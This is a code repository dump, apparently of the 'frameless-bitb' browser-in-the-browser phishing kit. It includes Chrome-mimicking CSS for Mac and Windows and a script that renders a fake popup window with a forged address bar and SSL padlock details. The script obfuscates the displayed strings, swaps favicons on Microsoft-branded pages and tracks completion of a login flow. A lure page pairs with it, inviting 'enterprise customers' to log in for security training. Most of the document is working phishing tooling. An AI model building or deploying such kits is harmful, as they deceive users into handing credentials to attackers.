| 2 | 3 | 4 | 7 | 8 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /pages/secondary/images/close.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pages/secondary/images/cookies.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pages/secondary/images/exit.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /pages/secondary/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waelmas/frameless-bitb/893e6fa02bd4602b00ee16941fffce3cacd508d8/pages/secondary/images/favicon.ico -------------------------------------------------------------------------------- /pages/secondary/images/logo.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pages/secondary/images/maximize.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /pages/secondary/images/minimize.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /pages/secondary/images/new-tab.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pages/secondary/images/settings.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pages/secondary/images/ssl.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /pages/secondary/mac-chrome.css: -------------------------------------------------------------------------------- 1 | 2 | @charset "UTF-8"; 3 | 4 | #pop-window { 5 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 6 | background-color: transparent; 7 | border-radius: 7px 7px 7px 7px; 8 | border: 1px solid #bbbcbd; 9 | position: fixed; 10 | overflow-y: auto; 11 | box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); 12 | z-index: 9999; 13 | pointer-events: none; 14 | } 15 | 16 | #pop-background-container { 17 | border-radius: 7px 7px 7px 7px; 18 | border-color: transparent; 19 | position: fixed; 20 | overflow-y: auto; 21 | background-color: #fff; 22 | z-index: 1000; 23 | } 24 | 25 | .win-scroll { 26 | position: absolute; 27 | overflow-y: auto; 28 | z-index: 9998; 29 | pointer-events: auto!important; 30 | } 31 | 32 | 33 | 34 | /* Hide by default */ 35 | #pop-window, 36 | #pop-background-container, 37 | .win-scroll { 38 | display: none; 39 | } 40 | 41 | #pop-head { 42 | width: 100%; 43 | } 44 | 45 | .pop-title-bar { 46 | user-select: none; 47 | border: none; 48 | display: flex; 49 | background: #dfe1e7; 50 | padding: 0px 0px 0px 5px; 51 | border-radius: 7px 7px 0px 0px; 52 | position: initial!important; 53 | height: 30px; 54 | } 55 | 56 | #pop-title-text { 57 | font-family: "system"; 58 | font-size: 15px; 59 | opacity: 1; 60 | color: #3c4043; 61 | font-weight: 500; 62 | vertical-align: middle; 63 | width: calc(90% - 62px); 64 | display: flex; 65 | justify-content: center; 66 | align-items: center; 67 | } 68 | 69 | #pop-logo { 70 | padding-left: 5px; 71 | width: 13px; 72 | width: 16px; 73 | margin-right: 6px; 74 | pointer-events: none; 75 | } 76 | 77 | #pop-uri-bar { 78 | height: 28px; 79 | background-color: #f2f3f4; 80 | border-bottom: 1px solid lightgray; 81 | width: 100%; 82 | display: flex; 83 | align-items: center; 84 | white-space: nowrap; 85 | overflow: scroll; 86 | text-overflow: ellipsis; 87 | -ms-overflow-style: none; 88 | scrollbar-width: none; 89 | user-select:all; 90 | } 91 | 92 | 93 | /* Fullscreen overlay */ 94 | #primary { 95 | position: fixed; 96 | top: 0; 97 | left: 0; 98 | right: 0; 99 | bottom: 0; 100 | background-color: #c5c5c5; 101 | z-index: 999; 102 | pointer-events: auto; 103 | width: 100%; 104 | height: 100%; 105 | } 106 | 107 | #landingPageFrame { 108 | width: 100%; 109 | height: 100%; 110 | border: none; 111 | } 112 | 113 | 114 | #pop-uri-bar ::selection { 115 | color: #202124; 116 | background: #b3d8ff 117 | } 118 | 119 | #pop-uri-bar::-webkit-scrollbar { 120 | display: none; 121 | } 122 | 123 | #pop-ssl-icon { 124 | height: 25px; 125 | width: 25px; 126 | min-height: 25px; 127 | min-width: 25px; 128 | border-radius: 25px; 129 | margin-right: 3px; 130 | margin-left: 3px; 131 | } 132 | 133 | #pop-ssl-icon:hover { 134 | background-color: #d0d3db; 135 | } 136 | 137 | #pop-ssl-icon.visible { 138 | background-color: #b7b8ba; 139 | } 140 | 141 | #pop-ssl-icon img{ 142 | user-select: none; 143 | position: relative; 144 | left: 3px; 145 | } 146 | 147 | #pop-uri-prefix { 148 | color: #696a6c; 149 | font-size: 14px; 150 | } 151 | 152 | #pop-uri-host { 153 | color: #202124; 154 | font-size: 14px; 155 | } 156 | 157 | 158 | 159 | #pop-uri-path { 160 | color: #696a6c; 161 | font-size: 14px; 162 | white-space: nowrap; 163 | overflow: hidden; 164 | text-overflow: ellipsis; 165 | padding-right: 3px; 166 | } 167 | 168 | .pop-control-btns { 169 | display: flex; 170 | flex-direction: row; 171 | justify-content: right; 172 | align-items: center; 173 | margin-left: 5px; 174 | } 175 | 176 | .pop-control-btns > div { 177 | width: 12px; 178 | height: 12px; 179 | background: #f9f9f9; 180 | border-radius: 50%; 181 | margin: 0 7px 0 0; 182 | color: #1c1c1e; 183 | display: flex; 184 | justify-content: center; 185 | align-items: center; 186 | } 187 | 188 | 189 | #pop-control-esc { 190 | background: #ff6057; 191 | border: 1px solid #e14640; 192 | } 193 | #pop-control-min { 194 | background: #ffbd2e; 195 | border: 1px solid #dfa123; 196 | } 197 | 198 | #pop-control-max { 199 | background: #27c93f; 200 | border: 1px solid #1dad2b; 201 | } 202 | 203 | .pop-control-btns > div::after{ 204 | content: ""; 205 | font-family: Arial, sans-serif; 206 | font-weight: 400; 207 | color: inherit; 208 | position: relative; 209 | opacity: .8; 210 | } 211 | 212 | #pop-control-esc:hover::after { 213 | content: "×"; 214 | font-size: 14px; 215 | top: 1px; 216 | } 217 | 218 | #pop-control-min:hover::after { 219 | content: "−"; 220 | font-size: 14px; 221 | } 222 | 223 | #pop-control-max:hover::after { 224 | content: "⤡"; 225 | font-size: 15px; 226 | top: -1px; 227 | } 228 | 229 | .pop-window-content { 230 | height: calc(100% - 50px); 231 | overflow: hidden; 232 | } 233 | 234 | 235 | /* Realistic SSL Details Window */ 236 | #pop-ssl { 237 | font-size: 12px; 238 | line-height: 1.5; 239 | color: #202124; 240 | width: 300px; 241 | height: 183px; 242 | background-color: #ffffff; 243 | border-radius: 0px 0px 3px 3px; 244 | position: relative; 245 | top: -1px; 246 | display: none; 247 | border: 1px solid #d3d3d3; 248 | box-shadow: 0 4px 8px rgba(0,0,0,0.1); 249 | } 250 | 251 | #pop-head, 252 | #pop-ssl { 253 | pointer-events: auto; 254 | } 255 | 256 | div#pop-ssl.visible{ 257 | display: block!important; 258 | } 259 | 260 | #pop-ssl-container { 261 | display: flex; 262 | flex-direction: column; 263 | padding: 7px 0px 7px 0px; 264 | } 265 | 266 | #pop-ssl-head { 267 | display: flex; 268 | flex-direction: row; 269 | align-items: center; 270 | justify-content: space-between; 271 | padding: 9px 5px 9px 16px; 272 | } 273 | 274 | #pop-ssl-head-title { 275 | font-size: 16px; 276 | font-weight: 200; 277 | opacity: .9; 278 | } 279 | 280 | #pop-ssl-head-esc { 281 | width: 25px; 282 | height: 25px; 283 | border-radius: 25px; 284 | background-color: transparent; 285 | } 286 | 287 | #pop-ssl-head-esc img { 288 | width: 11px; 289 | height: 11px; 290 | top: 3px; 291 | left: 7px; 292 | position: relative; 293 | opacity: .72; 294 | } 295 | 296 | #pop-ssl-head-esc:hover{ 297 | background-color: #eaebeb; 298 | } 299 | 300 | #pop-ssl-body { 301 | display: flex; 302 | flex-direction: column; 303 | padding-bottom: 5px; 304 | } 305 | 306 | .pop-ssl-row { 307 | display: flex; 308 | flex-direction: row; 309 | justify-content: space-between; 310 | padding: 8px 14px 8px 13px; 311 | } 312 | 313 | .pop-ssl-row:hover{ 314 | background-color: #eaebeb; 315 | } 316 | 317 | .pop-ssl-row-left { 318 | display: flex; 319 | flex-direction: row; 320 | justify-content: flex-start; 321 | align-items: center; 322 | } 323 | 324 | .pop-ssl-row-pre { 325 | margin: 3px 12px 3px 3px; 326 | } 327 | .pop-ssl-row-pre img { 328 | position: relative; 329 | } 330 | 331 | 332 | .pop-ssl-row-text { 333 | font-size: 13px; 334 | } 335 | 336 | .pop-ssl-row-post img{ 337 | position: relative; 338 | top: 2px; 339 | } 340 | 341 | 342 | /* Recoloring the icons using CSS filters */ 343 | #pop-ssl-head-esc img, 344 | .pop-ssl-row-pre img, 345 | .pop-ssl-row-post img { 346 | filter: brightness(0%) contrast(39%); 347 | } 348 | 349 | #pop-ssl-icon img { 350 | filter: brightness(0%) contrast(24%); 351 | } 352 | 353 | 354 | /* Dark Theme Detection Styles */ 355 | @media (prefers-color-scheme: dark) { 356 | 357 | #pop-window { 358 | border: none; 359 | } 360 | 361 | .pop-title-bar { 362 | background: #35363a; 363 | } 364 | 365 | #pop-title-text { 366 | color: #ffffff; 367 | opacity: .72; 368 | } 369 | 370 | #pop-uri-bar { 371 | background-color: #1d1d1d; 372 | } 373 | 374 | #pop-uri-bar ::selection { 375 | color: #ffffff; 376 | background: #3f628b; 377 | } 378 | 379 | #pop-ssl-icon:hover { 380 | background-color: #88888826; 381 | } 382 | #pop-ssl-icon.visible { 383 | background-color: #d0d2d736; 384 | } 385 | 386 | #pop-ssl { 387 | border: 1px solid #686869; 388 | } 389 | 390 | #pop-uri-prefix { 391 | color: #878383; 392 | } 393 | 394 | 395 | #pop-uri-host { 396 | color: white; 397 | } 398 | 399 | 400 | #pop-uri-path { 401 | color: #878383; 402 | } 403 | 404 | #pop-ssl { 405 | background-color: #292a2d; 406 | color: #efefef; 407 | } 408 | 409 | #pop-ssl-head-esc:hover{ 410 | background-color: #9895950d; 411 | } 412 | 413 | .pop-ssl-row:hover{ 414 | background-color: #424346; 415 | } 416 | 417 | /* Recoloring the icons using CSS filters */ 418 | #pop-ssl-head-esc img, 419 | .pop-ssl-row-pre img, 420 | .pop-ssl-row-post img { 421 | filter: contrast(0); 422 | } 423 | 424 | #pop-ssl-icon img { 425 | filter: contrast(0); 426 | } 427 | 428 | #pop-ssl-head-esc, 429 | .pop-ssl-row-pre, 430 | .pop-ssl-row-post { 431 | filter: contrast(5) brightness(1.5); 432 | } 433 | 434 | #pop-ssl-icon { 435 | filter: contrast(100); 436 | } 437 | 438 | } 439 | -------------------------------------------------------------------------------- /pages/secondary/script.js: -------------------------------------------------------------------------------- 1 | 2 | // For demo obfuscation 3 | const PREFIX = "OBFS"; 4 | const SUFFIX = "END"; 5 | 6 | const obfEnd = 'OBFS==Qaz12aEND'; 7 | 8 | const targetElementSelector = '.win-scroll'; 9 | 10 | // Sizing constants 11 | // Not efficient, but works. 12 | const popHeight = "600px"; 13 | const popWidth = "660px"; 14 | const originalContentHeight = "500px"; 15 | 16 | const popMaximizedHeight = "600px"; 17 | const popMaximizedWidth = "900px"; 18 | 19 | const popTop = "50%"; 20 | const popLeft = "50%"; 21 | const popTransform = "translate(-50%, -50%)"; 22 | 23 | // We add an extra offset from top to make it more realistic 24 | const popContentTransform = "translate(-50%, -50%) translateY(50px)"; 25 | 26 | 27 | 28 | function setInitialSize() { 29 | // Sets default/initial size and position 30 | $("#pop-window").css("width", popWidth); 31 | $("#pop-window").css("height", popHeight); 32 | $("#pop-window").css("top", popTop); 33 | $("#pop-window").css("left", popLeft); 34 | $("#pop-window").css("transform", popTransform); 35 | 36 | $("#pop-background-container").css("width", popWidth); 37 | $("#pop-background-container").css("height", popHeight); 38 | $("#pop-background-container").css("top", popTop); 39 | $("#pop-background-container").css("left", popLeft); 40 | $("#pop-background-container").css("transform", popTransform); 41 | 42 | $(targetElementSelector).css("width", popWidth); 43 | $(targetElementSelector).css("height", originalContentHeight); 44 | $(targetElementSelector).css("top", popTop); 45 | $(targetElementSelector).css("left", popLeft); 46 | $(targetElementSelector).css("transform", popContentTransform); 47 | } 48 | 49 | 50 | 51 | function deobfString(str) { 52 | let withoutPrefixSuffix = str.slice(PREFIX.length, -SUFFIX.length); 53 | let reversed = withoutPrefixSuffix.split('').reverse().join(''); 54 | return atob(reversed); 55 | } 56 | 57 | 58 | function openTop() { 59 | $("#pop-window").css('display', "block"); 60 | $("#pop-background-container").css('display', "block"); 61 | deObfData(); 62 | 63 | applyPositioning(); 64 | } 65 | 66 | function openIn(){ 67 | let checkExist = setInterval(function() { 68 | 69 | if ($(targetElementSelector).length) { 70 | $(targetElementSelector).css('display', "block"); 71 | 72 | applyPositioning(); 73 | 74 | // Set up a short duration recheck to combat other scripts 75 | let recheckDuration = 1000; // 1 second 76 | let recheckStart = Date.now(); 77 | let recheckInterval = setInterval(function() { 78 | if (Date.now() - recheckStart > recheckDuration) { 79 | clearInterval(recheckInterval); 80 | return; 81 | } 82 | $(targetElementSelector).css('display', "block"); 83 | 84 | applyPositioning(); 85 | }, 50); // recheck every 50 milliseconds 86 | 87 | clearInterval(checkExist); 88 | } 89 | }, 50); 90 | } 91 | 92 | 93 | 94 | function deObfData() { 95 | try{ 96 | // URI Bar 97 | document.getElementById('pop-uri-prefix').innerText = deobfString(document.getElementById('pop-uri-prefix').innerText) + "//"; 98 | document.getElementById('pop-uri-host').innerText = deobfString(document.getElementById('pop-uri-host').innerText); 99 | document.getElementById('pop-uri-path').innerText = "/" + deobfString(document.getElementById('pop-uri-path').innerText); 100 | 101 | // Rest 102 | document.getElementById('pop-title-text').innerText = deobfString(document.getElementById('pop-title-text').innerText); 103 | 104 | document.getElementById('pop-ssl-head-title').innerText = deobfString(document.getElementById('pop-ssl-head-title').innerText); 105 | document.getElementById('pop-ssl-text-1').innerText = deobfString(document.getElementById('pop-ssl-text-1').innerText); 106 | document.getElementById('pop-ssl-text-2').innerText = deobfString(document.getElementById('pop-ssl-text-2').innerText); 107 | document.getElementById('pop-ssl-text-3').innerText = deobfString(document.getElementById('pop-ssl-text-3').innerText); 108 | 109 | } catch { 110 | return; 111 | } 112 | } 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | function handleDnDLogic() { 122 | //////////////// Make window draggable //////////////// 123 | let draggable = $('#pop-window'); 124 | let winScroll = $(targetElementSelector); 125 | let title = $('#pop-title-bar'); 126 | 127 | title.on('mousedown', function(e) { 128 | 129 | if (e.target.id.indexOf('pop-control') === -1) { 130 | 131 | let dr = $(draggable).addClass("drag"); 132 | let db = $('#pop-background-container'); 133 | let dt = $(targetElementSelector).addClass("drag"); 134 | 135 | 136 | let initialDiffX = dt.offset().left - dr.offset().left; 137 | let initialDiffY = dt.offset().top - dr.offset().top; 138 | 139 | let ypos = e.pageY - dr.offset().top; 140 | let xpos = e.pageX - dr.offset().left; 141 | 142 | $(document.body).on('mousemove', function(e) { 143 | 144 | let itop = e.pageY - ypos; 145 | let ileft = e.pageX - xpos; 146 | 147 | if(dr.hasClass("drag")) { 148 | dr.offset({top: itop, left: ileft}); 149 | db.offset({top: itop, left: ileft}); 150 | } 151 | 152 | if(dt.hasClass("drag")) { 153 | dt.offset({top: itop + initialDiffY, left: ileft + initialDiffX}); 154 | } 155 | 156 | }).on('mouseup', function(e) { 157 | 158 | let draggable = $('#pop-window'); 159 | 160 | let dr = $(draggable); 161 | let dt = $(targetElementSelector); 162 | 163 | if (dr.hasClass("drag")){ 164 | dr.removeClass("drag"); 165 | dt.removeClass("drag"); 166 | 167 | let btbPosition = { 168 | top: dr.offset().top, 169 | left: dr.offset().left, 170 | width: dr.css('width'), 171 | height: dr.css('height'), 172 | enlarged: dr.hasClass('enlarged') 173 | }; 174 | 175 | 176 | localStorage.setItem('pop-window-position', JSON.stringify(btbPosition)); 177 | 178 | let winScrollOffset = { 179 | top: dt.offset().top - dr.offset().top, 180 | left: dt.offset().left - dr.offset().left 181 | }; 182 | 183 | localStorage.setItem('win-scroll-offset', JSON.stringify(winScrollOffset)); 184 | } 185 | 186 | }); 187 | } 188 | }); 189 | } 190 | 191 | // Function to apply positioning 192 | function applyPositioning() { 193 | 194 | // Set default/initial size and position then check for modifications needed 195 | setInitialSize(); 196 | 197 | let storedBtbPosition = localStorage.getItem('pop-window-position'); 198 | let storedWinScrollOffset = localStorage.getItem('win-scroll-offset'); 199 | 200 | 201 | if(storedBtbPosition !== null && storedWinScrollOffset !== null) { 202 | 203 | // console.log("storedBtbPosition: ", storedBtbPosition) 204 | 205 | 206 | let btbPosition = JSON.parse(storedBtbPosition); 207 | let winOffset = JSON.parse(storedWinScrollOffset); 208 | 209 | if (btbPosition.enlarged === "true"){ 210 | $("#pop-control-max").addClass("enlarged"); 211 | } 212 | 213 | $("#pop-window").css('width', btbPosition.width); 214 | $("#pop-window").css('height', btbPosition.height); 215 | $("#pop-background-container").css('width', btbPosition.width); 216 | $("#pop-background-container").css('height', btbPosition.height); 217 | 218 | let winScrollTop = btbPosition.top + winOffset.top; 219 | let winScrollLeft = btbPosition.left + winOffset.left; 220 | 221 | $("#pop-window").offset({ 222 | top: btbPosition.top, 223 | left: btbPosition.left 224 | }); 225 | $("#pop-background-container").offset({ 226 | top: btbPosition.top, 227 | left: btbPosition.left 228 | }); 229 | $(targetElementSelector).offset({ 230 | top: winScrollTop, 231 | left: winScrollLeft 232 | }); 233 | 234 | } 235 | 236 | } 237 | 238 | 239 | 240 | ////////////////// Onclick listeners ////////////////// 241 | 242 | function closePopup(){ 243 | $("#pop-window").css("display", "none"); 244 | $("#pop-background-container").css("display", "none"); 245 | 246 | 247 | $(targetElementSelector).css("display", "none"); 248 | $(targetElementSelector).classList = "win-scroll closed"; 249 | 250 | 251 | $("#pop-ssl").removeClass("visible"); 252 | $("#pop-ssl-icon").removeClass("visible"); 253 | localStorage.setItem('bb-open', false); 254 | localStorage.removeItem('pop-window-position'); 255 | localStorage.removeItem('win-scroll-offset'); 256 | } 257 | 258 | 259 | 260 | function toggleSSLPopup(){ 261 | let sslPopup = $("#pop-ssl"); 262 | let sslIcon = $("#pop-ssl-icon"); 263 | if (sslPopup.hasClass("visible")){ 264 | sslPopup.removeClass("visible") 265 | sslIcon.removeClass("visible") 266 | } else { 267 | sslPopup.addClass("visible") 268 | sslIcon.addClass("visible") 269 | } 270 | 271 | } 272 | 273 | 274 | 275 | 276 | function enlarge(){ 277 | let max = document.getElementById("pop-control-max"); 278 | 279 | if(max.classList.contains("enlarged")){ 280 | $("#pop-window").css("width", popWidth); 281 | $("#pop-window").css("height", popHeight); 282 | $("#pop-background-container").css("width", popWidth); 283 | $("#pop-background-container").css("height", popHeight); 284 | $("#pop-title-bar-width").css('width', '100%').css('width', '+=2px'); 285 | $("#pop-content-container").css("width", "100%"); 286 | $("#pop-control-max").removeClass("enlarged"); 287 | } 288 | else{ 289 | $("#pop-window").css("width", popMaximizedWidth); 290 | $("#pop-window").css("height", popMaximizedHeight); 291 | $("#pop-background-container").css("width", popMaximizedWidth); 292 | $("#pop-background-container").css("height", popMaximizedHeight); 293 | $("#pop-title-bar-width").css('width', '100%').css('width', '+=2px'); 294 | $("#pop-content-container").css("width", "100%"); 295 | $("#pop-control-max").addClass("enlarged"); 296 | 297 | } 298 | 299 | let dr = $("#pop-window"); 300 | let dt = $(targetElementSelector); 301 | 302 | let btbPosition = { 303 | top: dr.offset().top, 304 | left: dr.offset().left, 305 | width: dr.css('width'), 306 | height: dr.css('height'), 307 | enlarged: dr.hasClass('enlarged') 308 | }; 309 | localStorage.setItem('pop-window-position', JSON.stringify(btbPosition)); 310 | 311 | let winScrollOffset = { 312 | top: dt.offset().top - dr.offset().top, 313 | left: dt.offset().left - dr.offset().left 314 | }; 315 | localStorage.setItem('win-scroll-offset', JSON.stringify(winScrollOffset)); 316 | } 317 | 318 | 319 | 320 | async function setPrimaryContent(locationDivId, contentHTML, cssUrls, jsUrls){ 321 | // Handling the landing page content this way to allow more isolation of styles and scripts 322 | // and enable more efficient methods that will come soon 323 | // Create shadowroot element and append to it HTML, CSS, JS content 324 | 325 | const contentDiv = document.getElementById(locationDivId); 326 | const shadowRoot = contentDiv.attachShadow({ mode: 'open' }); 327 | 328 | let scriptsToLoad = jsUrls.length; 329 | 330 | const checkAllLoaded = () => { 331 | if (scriptsToLoad === 0) { 332 | // dispatch the event when all scripts are loaded 333 | const contentLoadedEvent = new Event('PrimaryContentLoaded', { bubbles: true, composed: true }); 334 | document.dispatchEvent(contentLoadedEvent); 335 | console.log("Secondary Dispatched: PrimaryContentLoaded") 336 | 337 | // now check if the auth flow is completed and inform primary 338 | handleIsOpenedState(shadowRoot) 339 | } 340 | }; 341 | 342 | // function to append CSS files 343 | cssUrls.forEach(url => { 344 | const link = document.createElement('link'); 345 | link.href = url; 346 | link.type = 'text/css'; 347 | link.rel = 'stylesheet'; 348 | shadowRoot.appendChild(link); 349 | }); 350 | 351 | // append HTML content 352 | shadowRoot.innerHTML += contentHTML; 353 | 354 | 355 | // function to append JS files 356 | jsUrls.forEach(url => { 357 | const script = document.createElement('script'); 358 | script.src = url; 359 | script.type = 'text/javascript'; 360 | script.onload = () => { 361 | scriptsToLoad--; 362 | checkAllLoaded(); 363 | }; 364 | script.onerror = () => { 365 | console.error(`Error loading script: ${url}`); 366 | scriptsToLoad--; 367 | checkAllLoaded(); 368 | }; 369 | shadowRoot.appendChild(script); 370 | }); 371 | 372 | // check if there are no scripts to load 373 | checkAllLoaded(); 374 | } 375 | 376 | 377 | 378 | function handleSecondaryFlowStart() { 379 | // triggered opening from primary, will open always 380 | localStorage.setItem('bb-open', true); 381 | openTop(); 382 | openIn(); 383 | } 384 | 385 | function handleIsOpenedState (shadowRoot) { 386 | 387 | let targetPath = '/' + deobfString(obfEnd); 388 | let doneAlready = localStorage.getItem('bb-done'); 389 | let openedAlready = localStorage.getItem('bb-open'); 390 | 391 | 392 | let wasOpened = openedAlready === "true"; 393 | let isCompleted = window.location.pathname === targetPath || doneAlready; 394 | 395 | if (wasOpened && !isCompleted) { 396 | openTop(); 397 | openIn(); 398 | } 399 | // Check if we just reached the final flow page or flow was already completed 400 | else if (isCompleted) { 401 | console.log("Secondary: flow is done"); 402 | localStorage.setItem('bb-open', false); 403 | localStorage.setItem('bb-done', true); 404 | // Inform primary page that flow is completed 405 | shadowRoot.dispatchEvent(new CustomEvent('secondaryFlowCompleted', {bubbles: true, composed: true})); 406 | } 407 | 408 | 409 | } 410 | 411 | 412 | // fix for JS-based re-mounting and class changes of target elements (seen in branded Microsoft pages) 413 | // also check for silent state/navigation changes that might cause similar behavior 414 | // reference: https://github.com/waelmas/frameless-bitb/issues/4 415 | function startObserving(targetSelector) { 416 | let targetElement = document.querySelector(targetSelector); 417 | const observerConfig = { childList: true, subtree: true, attributes: true, attributeFilter: ['class'] }; 418 | 419 | const observer = new MutationObserver((mutations) => { 420 | mutations.forEach((mutation) => { 421 | 422 | if (mutation.type === 'attributes' && targetElement.classList.contains('closed')) { 423 | return; // ignore mutation due to control-btns 424 | } 425 | // check if the mutation is due to D&D by checking the 'drag' class and ignore style changes 426 | if (mutation.type === 'attributes' && targetElement.classList.contains('drag')) { 427 | // sleep for a short duration to allow the D&D to complete 428 | setTimeout(() => {}, 50); 429 | return; // ignore mutation due to D&D 430 | } 431 | if (mutation.type === 'childList') { 432 | mutation.addedNodes.forEach((node) => { 433 | if (node === targetElement || node.contains(targetElement)) { 434 | handleIsOpenedState(); 435 | } 436 | }); 437 | mutation.removedNodes.forEach((node) => { 438 | if (node === targetElement || node.contains(targetElement)) { 439 | // target element removed, attempt to find and observe it again 440 | waitForElement(targetSelector); 441 | } 442 | }); 443 | } 444 | else if (mutation.type === 'attributes' && mutation.attributeName === 'class') { 445 | handleIsOpenedState(); 446 | } 447 | }); 448 | }); 449 | 450 | const observe = () => { 451 | const bodyObserver = new MutationObserver(() => { 452 | const newTargetElement = document.querySelector(targetSelector); 453 | if (newTargetElement && newTargetElement !== targetElement) { 454 | targetElement = newTargetElement; // update the target element reference 455 | observer.observe(targetElement.parentElement, observerConfig); 456 | observer.observe(targetElement, observerConfig); 457 | // keep observing, otherwise then the user moves back and forth between the user/pass screen 458 | // the target element will not be observed again, resulting in the white screen issue again 459 | } 460 | }); 461 | 462 | // start observing the document body for re-mounting of the target element 463 | bodyObserver.observe(document.body, { childList: true, subtree: true }); 464 | // observe the initial target and its parent, if available 465 | if (targetElement) { 466 | observer.observe(targetElement.parentElement, observerConfig); 467 | observer.observe(targetElement, observerConfig); 468 | } 469 | }; 470 | 471 | observe(); 472 | } 473 | 474 | function waitForElement(selector) { 475 | const interval = setInterval(() => { 476 | const element = document.querySelector(selector); 477 | if (element) { 478 | console.log('Target element found, starting observers.'); 479 | startObserving(selector); 480 | clearInterval(interval); 481 | } 482 | }, 100); // check every 100 milliseconds till found 483 | } 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | function handleDOMContentLoaded() { 492 | 493 | // inject the primary page, then initialize it 494 | setPrimaryContent('primary', primaryHTML, cssURLs, jsURLs) 495 | 496 | // and set default size of the secondary 497 | setInitialSize(); 498 | 499 | let titleBar = document.getElementById("pop-title-bar"); 500 | let exit = document.getElementById("pop-control-esc"); 501 | let max = document.getElementById("pop-control-max"); 502 | let min = document.getElementById("pop-control-min"); 503 | let sslIcon = document.getElementById('pop-ssl-icon'); 504 | let sslIconExit = document.getElementById('pop-ssl-head-esc'); 505 | 506 | 507 | titleBar.addEventListener('dblclick', function handleMouseOver() { 508 | enlarge(); 509 | }); 510 | 511 | titleBar.addEventListener('mouseout', function handleMouseOver() { 512 | titleBar.style.cursor = 'default'; 513 | }); 514 | 515 | exit.addEventListener('click', closePopup); 516 | min.addEventListener('click', closePopup); 517 | max.addEventListener('click', enlarge); 518 | 519 | sslIcon.addEventListener('click', toggleSSLPopup); 520 | sslIconExit.addEventListener('click', toggleSSLPopup); 521 | 522 | 523 | handleDnDLogic(); 524 | 525 | // start observing the target element (to apply observers for re-mounting and class changes) 526 | waitForElement(targetElementSelector); 527 | 528 | } 529 | 530 | 531 | // function to change the favicon 532 | function changeFavicon(src) { 533 | var link = document.querySelector("link[rel*='icon']"); 534 | if (!link) { 535 | link = document.createElement('link'); 536 | link.type = 'image/x-icon'; 537 | link.rel = 'shortcut icon'; 538 | document.getElementsByTagName('head')[0].appendChild(link); 539 | } 540 | link.href = src; 541 | } 542 | 543 | // function to force replace the favicon 544 | function forceReplaceFavicon() { 545 | const newFaviconPath = 'secondary/images/favicon.ico'; 546 | changeFavicon(newFaviconPath); 547 | 548 | var checkExist = setInterval(function() { 549 | if (document.querySelector("link[rel*='icon']")) { 550 | changeFavicon(newFaviconPath); 551 | 552 | // short duration recheck to combat other scripts 553 | const recheckDuration = 9000; // attempt replacing for a max of 9 seconds 554 | const recheckStart = Date.now(); 555 | var recheckInterval = setInterval(function() { 556 | if (Date.now() - recheckStart > recheckDuration) { 557 | clearInterval(recheckInterval); 558 | return; 559 | } 560 | changeFavicon(newFaviconPath); 561 | }, 50); // recheck every 50 milliseconds 562 | 563 | clearInterval(checkExist); 564 | } 565 | }, 50); 566 | } 567 | 568 | 569 | document.addEventListener('DOMContentLoaded', handleDOMContentLoaded); 570 | 571 | document.addEventListener('secondaryFlowStart', handleSecondaryFlowStart) 572 | 573 | 574 | // Optionally force replace favicon (This is a workaround for some sites that change the favicon after load, one example is Microsoft branded pages) 575 | // It will use the favicon at 'secondary/images/favicon.ico' 576 | document.addEventListener("DOMContentLoaded", forceReplaceFavicon); 577 | 578 | 579 | // Content for the landing page (aka primary page) 580 | 581 | const cssURLs = ['https://assets.calendly.com/assets/external/widget.css', '/primary/styles.css'] 582 | const jsURLs = ['https://assets.calendly.com/assets/external/widget.js', '/primary/script.js'] 583 | 584 | const primaryHTML = ` 585 |
586 | 587 | 593 |
Contact us: +1 (123) 456-7890
594 |
595 |
596 |
597 |

Welcome to Etech IT - Cybersecurity Solutions

598 | 599 |

Your trusted partner in cybersecurity solutions.

600 |
601 |
602 |
603 |

Upcoming Security Awareness Training

604 | 605 |

Join our exclusive 1:1 training session to enhance your security skills and awareness.

606 | 607 |
608 |
609 |
610 |

This training is exclusive for enterprise customers

611 |

If you received an invitation, please login to continue.

612 | 613 | 614 |
615 |
616 | 617 |
618 |
619 | 626 | ` -------------------------------------------------------------------------------- /pages/secondary/win-chrome.css: -------------------------------------------------------------------------------- 1 | 2 | #pop-window { 3 | font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 4 | background-color: transparent; 5 | border-radius: 7px 7px 7px 7px; 6 | border-color: transparent; 7 | position: fixed; 8 | overflow-y: auto; 9 | box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); 10 | z-index: 9999; 11 | pointer-events: none; 12 | } 13 | 14 | #pop-background-container { 15 | border-radius: 7px 7px 7px 7px; 16 | border-color: transparent; 17 | position: fixed; 18 | overflow-y: auto; 19 | background-color: #fff; 20 | z-index: 1000; 21 | } 22 | 23 | .win-scroll { 24 | position: absolute; 25 | overflow-y: auto; 26 | z-index: 9998; 27 | pointer-events: auto!important; 28 | } 29 | 30 | 31 | 32 | /* Hide by default */ 33 | #pop-window, 34 | #pop-background-container, 35 | .win-scroll { 36 | display: none; 37 | } 38 | 39 | #pop-head { 40 | width: 100%; 41 | background-color: #dfe1e7; 42 | } 43 | 44 | .pop-title-bar { 45 | user-select: none; 46 | border: none; 47 | display: flex; 48 | background: #dfe1e5; 49 | opacity: 1; 50 | padding: 0px 0px 0px 5px; 